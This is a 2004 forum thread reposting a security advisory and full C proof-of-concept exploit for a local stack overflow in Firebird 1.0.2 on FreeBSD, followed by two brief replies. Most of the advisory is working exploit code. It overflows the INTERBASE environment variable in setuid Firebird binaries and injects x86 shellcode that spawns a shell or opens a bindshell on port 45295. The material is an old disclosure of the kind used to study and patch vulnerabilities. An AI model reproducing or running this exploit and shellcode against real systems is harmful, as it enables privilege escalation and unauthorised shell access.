Firebird Local Exploit

qcred11

May 24 2004, 05:54 PM

QUOTE

-[Package: Firebird_1.0.2 [FreeBSD]
-[Versions Affected: 1.0.2 <
-[Website: http://firebird.sf.net
-[Exploit: Local Stack Overflow
-[Date: 22/03/2003
-[Author: bob@dtors.net && kokanin@dtors.net

---[BACKGROUND

Firebird is a relational database offering many ANSI SQL-92 features
that runs on Linux, Windows, and a variety of Unix platforms. Firebird
offers excellent concurrency, high performance, and powerful language
support for stored procedures and triggers. It has been used in
production systems, under a variety of names since 1981.

For more information on Firebird and InterBase, see:

http://sourceforge.net/projects/firebird/
http://www.ibphoenix.com/
http://www.interbase2000.org/
http://www.interbase.com/
http://www.firebirdsql.org/

--[DESCRIPTION

Firebird has 3 binarys [gds_inet_server, gds_drop, and gds_lock_mgr],
which all use insufficent bounds checking in conjunction with getenv(),
making each one
succeptable to local exploitation.

Firebird is by default setuid[firebird]. This exploit can lead to
root/escalated
privileges, should the attacker trojan the local firebird application.

--[ANALYSIS

Upon setting a large value for the INTERBASE environment variable a buffer
can be overflowed. Links to the exploit should accompany this advisory.

--[Please note that there is an exploit written for both versions of
firebird.

Exploiting this hole will allow the attacker to, amongst other things,
manipulate and/or destroy the databases, and also add the option to trojan
the firebird binaries. This will in effect allow for compromising of other
users/root accounts.

--[SYSTEMS AFFECTED:

firebird 1.0.0 [BSD/Linux] are vulnerable.
firebird-1.0.2 [BSD/Linux] are vulnerable.

--[EXPLOIT CODE

/* DSR-firebird.c by bob@dtors.net
-------------------------------

Tested on: Firebird 1.0.2 FreeBSD 4.7-RELEASE

This is Proof Of concept code.

bash-2.05a$ ./DSR-firebird
( ( Firebird-1.0.2 Local exploit for Freebsd 4.7 ) )
( ( by - bob@dtors.net ) )
----------------------------------------------------

Usage: ./DSR-firebird <target#>
Targets:
1. [0xbfbff75d] - gds_inet_server
2. [0xbfbff75c] - gds_lock_mgr
3. [0xbfbff75e] - gds_drop

www.dtors.net
bash-2.05a$

Thanks goto eSDee && ilja for helping me
with the gds_lock_mgr problems.

bob@dtors.net
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define LOCK "/usr/local/firebird/bin/gds_lock_mgr"
#define DROP "/usr/local/firebird/bin/gds_drop"
#define INET "/usr/local/firebird/bin/gds_inet_server"
#define LEN 1056

char dropcode[]=
"\x31\xc0\x50\x6a\x5a\x53\xb0\x17\xcd\x80"
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
"\x62\x69\x6e\x89\xe3\x50\x54\x53\x50\xb0"
"\x3b\xcd\x80\x31\xc0\xb0\x01\xcd\x80";

char inetcode[]=
"\x31\xc0\x50\x6a\x5a\x53\xb0\x17\xcd\x80"
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
"\x62\x69\x6e\x89\xe3\x50\x54\x53\x50\xb0"
"\x3b\xcd\x80\x31\xc0\xb0\x01\xcd\x80";

char lockcode[]=
"\x31\xc0\x31\xdb\xb0\x02\xcd\x80"
"\x39\xc3\x75\x06\x31\xc0\xb0\x01\xcd\x80"
"\x31\xc0\x50\x6a\x5a\x53\xb0\x17\xcd\x80" //setuid[firebird] by
bob
"\x31\xc0\x31\xdb\x53\xb3\x06\x53" //fork() bindshell by eSDee
"\xb3\x01\x53\xb3\x02\x53\x54\xb0"
"\x61\xcd\x80\x89\xc7\x31\xc0\x50"
"\x50\x50\x66\x68\xb0\xef\xb7\x02"
"\x66\x53\x89\xe1\x31\xdb\xb3\x10"
"\x53\x51\x57\x50\xb0\x68\xcd\x80"
"\x31\xdb\x39\xc3\x74\x06\x31\xc0"
"\xb0\x01\xcd\x80\x31\xc0\x50\x57"
"\x50\xb0\x6a\xcd\x80\x31\xc0\x31"
"\xdb\x50\x89\xe1\xb3\x01\x53\x89"
"\xe2\x50\x51\x52\xb3\x14\x53\x50"
"\xb0\x2e\xcd\x80\x31\xc0\x50\x50"
"\x57\x50\xb0\x1e\xcd\x80\x89\xc6"
"\x31\xc0\x31\xdb\xb0\x02\xcd\x80"
"\x39\xc3\x75\x44\x31\xc0\x57\x50"
"\xb0\x06\xcd\x80\x31\xc0\x50\x56"
"\x50\xb0\x5a\xcd\x80\x31\xc0\x31"
"\xdb\x43\x53\x56\x50\xb0\x5a\xcd"
"\x80\x31\xc0\x43\x53\x56\x50\xb0"
"\x5a\xcd\x80\x31\xc0\x50\x68\x2f"
"\x2f\x73\x68\x68\x2f\x62\x69\x6e"
"\x89\xe3\x50\x54\x53\x50\xb0\x3b"
"\xcd\x80\x31\xc0\xb0\x01\xcd\x80"
"\x31\xc0\x56\x50\xb0\x06\xcd\x80"
"\xeb\x9a";

char *decide(char *string)
{
if(!(strcmp(string, "1")))
return((char *)&inetcode);
if(!(strcmp(string, "2")))
return((char *)&lockcode);
if(!(strcmp(string, "3")))
return((char *)&dropcode);
exit(0);
}

int main(int argc, char **argv)
{

unsigned long ret = 0xbfbff743;

char *selectcode;
char buffer[LEN];
char egg[1024];
char *ptr;
int i=0;

if(argc < 2)
{
printf("( ( Firebird-1.0.2 Local exploit for Freebsd
4.7 ) )\n");
printf("( ( by -
bob@dtors.net ) )\n");
printf("---------------------------------------------------
-\n\n");
printf("Usage: %s <target#> \n", argv[0]);
printf("Targets:\n");
printf("1. [0xbfbff743] - gds_inet_server\n");
printf("2. [0xbfbff743] - gds_lock_mgr\n");
printf("3. [0xbfbff743] - gds_drop\n");
printf("\nwww.dtors.net\n");
exit(0);
}

selectcode = (char *)decide(argv[1]);
memset(buffer, 0x41, sizeof(buffer));

ptr = egg;

for (i = 0; i < 1024 - strlen(selectcode) -1; i++) *(ptr++) = 0x90;
for (i = 0; i < strlen(selectcode); i++) *(ptr++) = selectcode[i];
egg[1024 - 1] = '\0';

memcpy(egg,"EGG=",4);
putenv(egg);

memcpy(&buffer[1052],(char *)&ret,4);
buffer[1056] = 0;

setenv("INTERBASE", buffer, 1);

fprintf(stdout, "Return Address: 0x%x\n", ret);
fprintf(stdout, "Buffer Size: %d\n", LEN);
fprintf(stdout, "Setuid [90]\n");

if(selectcode == (char *)&inetcode)
{
execl(INET, INET, NULL);
return 0;
}

if(selectcode == (char *)&lockcode)
{
printf("\nShell is on port 45295\nExploit will hang!\n");
execl(LOCK, LOCK, NULL);
return 0;
}

if(selectcode == (char *)&dropcode)
{
execl(DROP, DROP, NULL);
return 0;
}

return 0;
}

--[Misc

As stated earlier, Linux is also vulnerable. The problem here
is that Linux by defaults sets firebird setuid root. There
exist a few more problems with linux. For example some command
line overflows with certain switches will allow the attacker
to change the flow of execution, of it can be changed using
the enviroment variable [FIREBIRD_LOCK].

F34R

May 24 2004, 08:13 PM

nice post

I'll check it out

Gurou

May 24 2004, 09:44 PM

this is old

http://www.k-otik.com/exploits/05.12.firebird.c.php